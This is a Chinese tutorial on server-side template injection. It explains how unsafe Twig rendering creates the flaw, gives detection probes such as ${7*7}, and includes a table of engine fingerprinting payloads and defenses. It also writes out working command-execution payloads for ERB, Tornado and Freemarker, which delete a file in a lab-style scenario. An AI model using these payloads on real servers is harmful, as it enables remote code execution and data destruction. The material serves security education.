细说服务器端模板注入(SSTI)
字数 1244 2025-08-15 21:31:44
服务器端模板注入(SSTI)深入解析与实战指南
一、SSTI基本概念
1.1 定义
服务器端模板注入(Server-Side Template Injection, SSTI)是指攻击者能够使用模板引擎的原生语法将恶意有效负载注入模板中,在服务器端执行该模板的攻击方式。
1.2 危害等级
- 低风险:仅能读取部分数据
- 高风险:远程代码执行(RCE),完全控制服务器
- 灾难性:可作为跳板攻击内网基础设施
二、SSTI产生原理
2.1 安全模板示例
$output = $twig->render("Dear {first_name}", array("first_name" => $user.first_name));
安全原因:用户输入仅作为数据传递
2.2 危险模板示例
$output = $twig->render("Dear " . $_GET['name']);
危险原因:用户输入直接拼接进模板结构
三、SSTI检测方法
3.1 通用检测技术
- 注入特殊字符序列:
${,<%,{{等 - 观察是否引发异常或执行数学运算
3.2 纯文本上下文检测
http://vulnerable-website.com/?username=${7*7}
若返回"Hello 49"则存在漏洞
3.3 代码上下文检测
http://vulnerable-website.com/?greeting=data.username}}<tag>
若返回"Hello Carlos
四、模板引擎识别
4.1 错误信息法
提交无效语法如<%=foobar%>,通过错误信息识别引擎
4.2 特征检测法
| 引擎 | 测试payload | 预期响应 |
|---|---|---|
| Twig | {{7*'7'}} | 49 |
| Jinja2 | {{7*'7'}} | 7777777 |
| ERB | <%=7*7%> | 49 |
| Freemarker | ${7*7} | 49 |
五、SSTI利用技术
5.1 ERB模板利用(Ruby)
<%= system('rm /home/carlos/morale.txt') %>
5.2 Tornado模板利用(Python)
{% import os %}
{{ os.system('rm /home/carlos/morale.txt') }}
5.3 Freemarker模板利用(Java)
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("rm /home/carlos/morale.txt") }
六、防御措施
6.1 最佳实践
- 禁止用户修改或提交模板
- 使用"无逻辑"模板引擎(如Mustache)
- 逻辑与表现分离
6.2 补充措施
- 沙盒环境执行用户代码
- 锁定Docker容器部署
- 移除危险模块和功能
七、实战案例
案例1:基本SSTI(ERB)
- 检测:
<%=7*7%>返回49 - 利用:
<%= system('command') %>
案例2:代码上下文SSTI(Tornado)
- 检测:
{{7*7}}返回49 - 利用:
{% import os %}{{ os.system('command') }}
案例3:文档辅助SSTI(Freemarker)
- 识别:
${foobar}产生错误 - 利用:通过文档发现
new()和Execute类
八、总结
SSTI是一种高危漏洞,其危害程度取决于模板引擎的功能和配置。防御关键在于严格控制用户输入与模板结构的交互,采用最小权限原则和安全开发实践。